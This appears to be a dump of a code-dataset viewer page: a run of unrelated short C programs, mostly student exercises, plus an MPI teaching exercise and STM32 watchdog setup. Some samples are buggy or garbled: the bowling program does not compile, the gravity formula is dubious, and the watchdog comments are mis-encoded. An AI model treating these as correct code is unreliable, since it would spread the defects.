force_x = 0.0000000000667*q->mass*(n->x_coordinates- q->cent_M_x)/pow(n->x_coordinates- q->cent_M_x, 3);
force_y = 0.0000000000667*q->mass*(n->y_coordinates- q->cent_M_y)/pow(n->y_coordinates- q->cent_M_y, 3);
ret->x = force_x;
ret->y = force_y;
return ret;
}
struct pair* hold;
if(q->c0 != NULL){ // get forces at quadrent 0
hold = get_force(q->c0,n);
force_x += hold->x;
force_y += hold->y;
free(hold);
} //
if(q->c1 != NULL){// get forces at quadrent 1
hold = get_force(q->c1,n);
force_x += hold->x;
force_y += hold->y;
free(hold);
}
if(q->c2 != NULL){// get forces at quadrent 2
hold = get_force(q->c2,n);
force_x += hold->x;
force_y += hold->y;
free(hold);
}
if(q->c3 != NULL){// get forces at quadrent 3
hold = get_force(q->c3,n);
force_x += hold->x;
force_y += hold->y;
free(hold);
}
//return the forces
ret->x = force_x;
ret->y = force_y;
return ret;
}
|
C | // Grupo: Bruno, Guilherme e Italo
#include <stdio.h>
#include <math.h>
void imprime (int ano, int mes, int dia, int merito, int demerito){
printf("%d-", ano);
if(mes < 10){
printf("0%d-", mes);
}
else{
printf("%d-",mes);
}
if(dia < 10){
printf("0%d ", dia);
}
else{
printf("%d ",dia);
}
if ((merito == 0) && (demerito == 0)){
printf("No merit or demerit point(s).\n");
}
if (merito > 0){
printf("%d merit point(s).\n", merito);
}
if (demerito > 0){
printf("%d demerit point(s).\n", demerito);
}
return;
}
int main(){
unsigned int merito=0, demerito=0;
int data, proximo=0, total=0;
int ano, mes, dia, resto, ultimo, ponto=0;
scanf("%d", &total);
while(total > 0){
merito = demerito = 0;
proximo = 0;
if (ponto <= 15){
scanf("%d", &data);
}
proximo = data + 20000;
ultimo = data;
ano = data/10000;
resto = data%10000;
mes = resto/100;
dia = resto%100;
imprime(ano, mes, dia, merito, demerito);
//printf("%d-%d-%d No merit or demerit point(s).\n", ano, mes, dia);
if(ponto > 15){
data = ponto;
}
while(1){
if (ponto <= 15){
scanf("%d%d", &data, &ponto);
}
if ((merito == 5)&&(ponto>15)){
break;
}
if (data == ponto){
scanf("%d", &ponto);
}
//reduo demerito
while((proximo <= data) || (ponto > 15)){
ano = proximo/10000;
if ((demerito == 0) && (merito < 5)){
merito++;
imprime(ano, mes, dia, merito, demerito);
//printf("%d-%d-%d %d merit point(s).\n", ano, mes, dia, merito);
if(merito == 5){
break;
}
proximo += 20000;
}
else{
if ((demerito/2) <= (demerito-2)){
demerito = demerito/2;
imprime(ano, mes, dia, merito, demerito);
//printf("%d-%d-%d %d demerit point(s).\n", ano, mes, dia, demerito);
proximo += 10000;
}
else{
demerito -= 2;
imprime(ano, mes, dia, merito, demerito);
//printf("%d-%d-%d No merit or demerit point(s).\n", ano, mes, dia);
proximo += 20000;
}
}
}
//se ainda tem entrada
if (ponto <= 15){
ano = data/10000;
resto = data%10000;
mes = resto/100;
dia = resto%100;
//entrada de demerito
if(merito > 0){
if (ponto > (2*merito)){
demerito = ponto-(2*merito);
merito = 0;
imprime(ano, mes, dia, merito, demerito);
//printf("%d-%d-%d %d demerit point(s).\n", ano, mes, dia, demerito);
proximo = data + 10000;
}
else{
demerito = 0;
merito -= (demerito/2);
if(merito == 0){
imprime(ano, mes, dia, merito, demerito);
//printf("%d-%d-%d No merit or demerit point(s).\n", ano, mes, dia);
}
else{
imprime(ano, mes, dia, merito, demerito);
//printf("%d-%d-%d %d merit point(s).\n", ano, mes, dia, merito);
}
proximo += 20000;
}
}
else{
demerito += ponto;
imprime(ano, mes, dia, merito, demerito);
//printf("%d-%d-%d %d demerit point(s).\n", ano, mes, dia, demerito);
proximo = data + 10000;
}
}
}
total--;
printf("\n");
}
}
|
C | #include <stdio.h>
#include <stdlib.h>
int main()
{
int *cMarks, i, nStud;
float sum = 0.0;
puts("How many students: ");
scanf("%d", &nStud);
cMarks = malloc(sizeof(int) * nStud);
if (cMarks != NULL)
{
for ( i = 0; i < nStud; i++)
{
printf("Enter C Marks for stud%d: ",i);
scanf("%d", cMarks+i);
}
puts("******************************");
for ( i = 0; i < nStud; i++)
{
printf("C Marks for stud%d is %d\n",i, *(cMarks+i));
sum += *(cMarks+i);
}
puts("******************************");
printf("Average marks for C is %.2f\n", sum/nStud);
}
else
{
puts("Could not allot memory dynamically..");
return(1);
}
} |
C | #include<stdio.h>
int main()
{
int pinos0=0;
float pinos1=0;
int p =0;
printf("Digite o Número de pinos derrubados na primeira jogada!");
scanf("%d", &pinos0);
if(pinos0 == 12)
{
printf("Parabéns voçẽ fez 30 Pontos!");
}
else if( pinos0 % 2 == 1)
{
printf("Digite uma segunda jogada! ");
scanf("%d", &pinos1);
p = pinos0 * 2;
pinos1 += p;
printf("%2.f The ", pinos1);
}
else if(pinos0 % 2 == 0)
{
printf("Digite a segunda Jogada");
scanf("%d", pinos1);
pinos1 = pinos0 * 1,5;
printf("%d The ", pinos1);
}
return 0;s
}
|
C | /*
求1到100的和
*/
#include <stdio.h>
int main(void) {
int i = 1;
int sum = 0;
/*do{
sum=sum+i;
i++;
}
while(i<=100);
printf("它们的和是%d\n",sum); */
/*while(i<=100);
{
sum=sum+i;
i++;}
printf("它们的和是%d\n",sum); */
for (i = 1; i <= 100; i++)
{ sum = sum + i;}
printf("它们的和是%d\n", sum);
return 0;
}
|
C | #include <stdio.h> /*puts*/
#include "heap.h"
void TestCreate();
int IsBeforeInt(const void *data1, const void *data2, void *param);
void TestPush();
int IsMatchInt(const void *data1, const void *data2);
int main()
{
TestCreate();
TestPush();
return 0;
}
void TestCreate()
{
heap_t *heap = NULL;
heap = HEAPCreate(IsBeforeInt, NULL);
heap != NULL ? puts("SUCC") : puts("ERROR");
HEAPIsEmpty(heap) ? puts("SUCC") : puts("ERROR");
}
void TestPush()
{
heap_t *heap = NULL;
int data[] = {3, 4, 5, 2, 10, 2, 2, -1, 5};
int push_status = 0;
heap = HEAPCreate(IsBeforeInt, NULL);
push_status = HEAPPush(heap, &data[0]);
push_status != 0 ? puts("ERROR") : puts("SUCC");
printf("push 3\n");
PrintHeapVec(heap);
HEAPPush(heap, &data[1]);
HEAPPush(heap, &data[2]);
HEAPPush(heap, &data[3]);
printf("push 4 5 2\n");
PrintHeapVec(heap);
HEAPPop(heap);
printf("after pop\n");
PrintHeapVec(heap);
HEAPPush(heap, &data[4]);
HEAPPush(heap, &data[5]);
HEAPPush(heap, &data[6]);
HEAPPush(heap, &data[7]);
HEAPPush(heap, &data[8]);
printf("exp:\n5 4 2 3 2 2 1\nres:\n");
PrintHeapVec(heap);
printf("after removal of 5:\n");
HEAPErase(heap, IsMatchInt, &data[2]);
PrintHeapVec(heap);
}
int IsBeforeInt(const void *data1, const void *data2, void *param)
{
(void)param;
return *(int *)data1 < *(int *)data2;
}
int IsMatchInt(const void *data1, const void *data2)
{
return *(int *)data1 == *(int *)data2;
}
|
C | /****************************************************************
****
**** This program file is part of the book
**** `Parallel programming with MPI and OpenMP'
**** by Victor Eijkhout, [email protected]
****
**** copyright Victor Eijkhout 2012-9
****
**** MPI Exercise to illustrate pipelining
****
****************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>
#include "mpi.h"
#ifndef N
#define N 10
#endif
#ifndef PARTS
#define PARTS 2
#endif
int main(int argc,char **argv) {
MPI_Comm comm = MPI_COMM_WORLD;
int nprocs, procno;
MPI_Init(&argc,&argv);
MPI_Comm_size(comm,&nprocs);
MPI_Comm_rank(comm,&procno);
#ifdef SIMGRID
/*
* We can use SimGrid to do simulated timings on a single run.
*/
MPI_Barrier(comm);
double starttime = MPI_Wtime();
#endif
// Set `sendto' and `recvfrom'
int sendto =
( procno<nprocs-1 ? procno+1 : MPI_PROC_NULL )
;
int recvfrom =
( procno>0 ? procno-1 : MPI_PROC_NULL )
;
// Set up data array
double leftdata[N], myvalue[N];
for (int i=0; i<N; i++) leftdata[i] = 0.;
// Set up blocking for the pipeline
int partition_starts[PARTS], partition_sizes[PARTS];
{ int points_left=N, block = N/PARTS;
for (int ipart=0; ipart<PARTS; ipart++) {
partition_starts[ipart] = ipart*block;
if (ipart<PARTS-1)
partition_sizes[ipart] = block;
else
partition_sizes[ipart] = points_left;
points_left -= partition_sizes[ipart];
if (points_left<0) {
printf("Can not partition N=%d over PARTS=%d\n",N,PARTS);
MPI_Abort(comm,1);
}
}
}
//
// Exercise:
// The code here is using blocking sends and receives.
// Replace by non-blocking.
//
for (int ipart=0; ipart<PARTS; ipart++) {
/**** your code here ****/
(
leftdata+partition_starts[ipart],partition_sizes[ipart],
MPI_DOUBLE,recvfrom,ipart,comm,MPI_STATUS_IGNORE);
for (int i=partition_starts[ipart];
i<partition_starts[ipart]+partition_sizes[ipart];
i++)
myvalue[i] = (procno+1)*(procno+1) + leftdata[i];
MPI_Send
(
myvalue+partition_starts[ipart],partition_sizes[ipart],
MPI_DOUBLE,sendto,ipart,comm);
}
#ifdef SIMGRID
/*
* We can use SimGrid to do simulated timings on a single run.
*/
MPI_Barrier(comm);
double duration = MPI_Wtime()-starttime;
if (procno==0)
printf("Duration with %d procs: %e\n",nprocs,duration);
#endif
/*
* Check correctness
*/
double p1 = procno+1.;
double my_sum_of_squares = p1*p1*p1/3 + p1*p1/2 + p1/6;
double max_of_errors = 0;
for (int i=0; i<N; i++) {
double e = fabs( (my_sum_of_squares - myvalue[i])/myvalue[i] );
if (e>max_of_errors) max_of_errors = e;
}
int
error = max_of_errors > 1.e-12 ? procno : nprocs,
errors=-1;
MPI_Allreduce(&error,&errors,1,MPI_INT,MPI_MIN,comm);
if (procno==0) {
if (errors==nprocs)
printf("Finished; all results correct\n");
else
printf("First error occurred on proc %d\n",errors);
}
MPI_Finalize();
return 0;
}
|
C | #include<stdio.h>
int main()
{
int n,year,week,days;
printf("Enter the no : ");
scanf("%d",&n);
year=n/365;
week=(n%365)/7;
days=(n%365)%7;
printf("%d = %d years, %d weeks and %d days",n,year,week,days);
return 0;
}
|
C | #include <stdio.h>
int main(void){
int l, x;
l = 0x40000000;
printf("l = %d (0x%x)\n", l, l);
x = l + 0xc0000000;
printf("l + 0xc0000000 = %d (0x%x)\n", x, x);
x = l * 0x4;
printf("l * 0x4 = %d (0x%x)\n", x, x);
x = l - 0xffffffff;
printf("l - 0xffffffff = %d (0x%x)\n", x, x);
return 0;
}
|
C | #include "wdg.h"
/*
: ʼŹ
:
u16 pr ԤƵϵ
u16 rlr װֵ(0xFFF)
*/
void IWDG_Init(u16 pr,u16 rlr)
{
IWDG->KR=0x5555; //д¼Ĵ
IWDG->PR=pr; //ԤƵϵͳ
IWDG->RLR=rlr; //װֵ
IWDG->KR=0xAAAA; //IWDG_RLRеֵͻᱻ¼ص
//ӶŹλ
IWDG->KR=0xCCCC; //Ź
}
/*
: ʼŹ
:
u16 psc :Ƶϵ
u16 w_arr:ֵ--ֵ0x7F
u16 arr :װֵ--ֵ0x7F
*/
u16 wwdg_arr;
void WWDG_Init(u16 psc,u16 w_arr,u16 arr)
{
wwdg_arr=arr; //װֵ
RCC->APB1ENR|=1<<11; //ڿŹʱ
WWDG->CFR|=1<<9; //ֵﵽ40hж
STM32_SetPriority(WWDG_IRQn,1,1); //жȼ
WWDG->CFR|=psc<<7; //÷Ƶϵ
WWDG->CFR|=w_arr<<0; //ôֵ
WWDG->CR|=arr<<0; //װֵ
WWDG->CR|=1<<7; //Ź
}
/*
: ڿŹ
ʱֵ0x40ʱ
*/
void WWDG_IRQHandler(void)
{
WWDG->CR|=wwdg_arr;//ι---»ֵָ
WWDG->SR=0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.